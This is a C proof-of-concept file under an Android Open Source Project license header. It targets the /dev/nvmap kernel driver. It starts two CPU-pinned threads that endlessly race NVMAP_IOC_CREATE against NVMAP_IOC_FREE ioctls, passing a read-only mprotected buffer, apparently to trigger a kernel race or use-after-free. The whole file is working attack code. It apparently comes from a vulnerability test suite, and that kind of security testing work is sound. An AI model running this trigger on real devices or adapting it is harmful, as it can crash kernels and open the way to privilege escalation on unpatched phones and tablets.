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      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 
     18 #include <stdlib.h>
     19 #include <errno.h>
     20 #include <unistd.h>
     21 #include <stdio.h>
     22 #include <dirent.h>
     23 #include <string.h>
     24 #include <sys/stat.h>
     25 #include <sys/ioctl.h>
     26 #include <stdio.h>
     27 #include <string.h>
     28 #include <dlfcn.h>
     29 #include <sys/time.h>
     30 #include <sys/mman.h>
     31 #include <sys/syscall.h>
     32 #include <sys/resource.h>
     33 #include <fcntl.h>
     34 #include <pthread.h>
     35 #include <unistd.h>
     36 #include <sched.h>
     37 
     38 
     39 struct nvmap_handle_param {
     40 	__u32 handle;		/* nvmap handle */
     41 	__u32 param;		/* size/align/base/heap etc. */
     42 	unsigned long result;	/* returns requested info*/
     43 };
     44 
     45 struct nvmap_create_handle {
     46 	union {
     47 		__u32 id;	/* FromId */
     48 		__u32 size;	/* CreateHandle */
     49 		__s32 fd;	/* DmaBufFd or FromFd */
     50 	};
     51 	__u32 handle;		/* returns nvmap handle */
     52 };
     53 
     54 #define NVMAP_IOC_MAGIC 'N'
     55 #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
     56 #define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
     57 #define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
     58 #define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
     59 #define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
     60 
     61 int g_fd = -1;
     62 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
     63 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
     64 struct nvmap_create_handle* g_allocation = NULL;
     65 
     66 int open_driver() {
     67     char* dev_path = "/dev/nvmap";
     68     g_fd = open(dev_path, O_RDWR);
     69     if (g_fd < 0) {
     70         printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
     71     } else {
     72         printf("[*] open file(%s) succ!\n", dev_path);
     73     }
     74     return g_fd;
     75 }
     76 
     77 void trigger_nvmap_create() {
     78     ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
     79     //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
     80 }
     81 
     82 void trigger_nvmap_free() {
     83     static int data = 1024;
     84     ioctl(g_fd, NVMAP_IOC_FREE, data);
     85     //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
     86 }
     87 
     88 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
     89     setpriority(PRIO_PROCESS, gettid(), privi);
     90     printf("[*] setpriority(%d) errno = %d\n", privi, errno);
     91 
     92     /* bind process to a CPU*/
     93     if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
     94         printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
     95     }
     96 }
     97 
     98 void prepare_data() {
     99     void* data = calloc(1, 0x1000);
    100 
    101     g_allocation = (struct nvmap_create_handle*)data;
    102     g_allocation->size = 1024;
    103 
    104     mprotect(data, 0x1000, PROT_READ);
    105     printf("[*] mprotect, error = %d\n", errno);
    106 }
    107 static int init = 0;
    108 void* race_thread(void* arg) {
    109     setup_privi_and_affinity(0, 2);
    110 
    111     int i;
    112     while (1) {
    113         if (init == 0) {
    114             pthread_mutex_lock(&mutex);
    115             pthread_cond_wait(&cond, &mutex);
    116             pthread_mutex_unlock(&mutex);
    117             init = 1;
    118         }
    119         trigger_nvmap_free();
    120     }
    121 }
    122 
    123 int main(int argc, char**argv) {
    124     setup_privi_and_affinity(0, 1);
    125     if (open_driver() < 0) {
    126         return -1;
    127     }
    128     prepare_data();
    129     pthread_t tid;
    130     pthread_create(&tid, NULL, race_thread, NULL);
    131     sleep(1);
    132     while (1) {
    133         if (init == 0)
    134             pthread_cond_signal(&cond);
    135         trigger_nvmap_create();
    136     }
    137     return 0;
    138 }
    139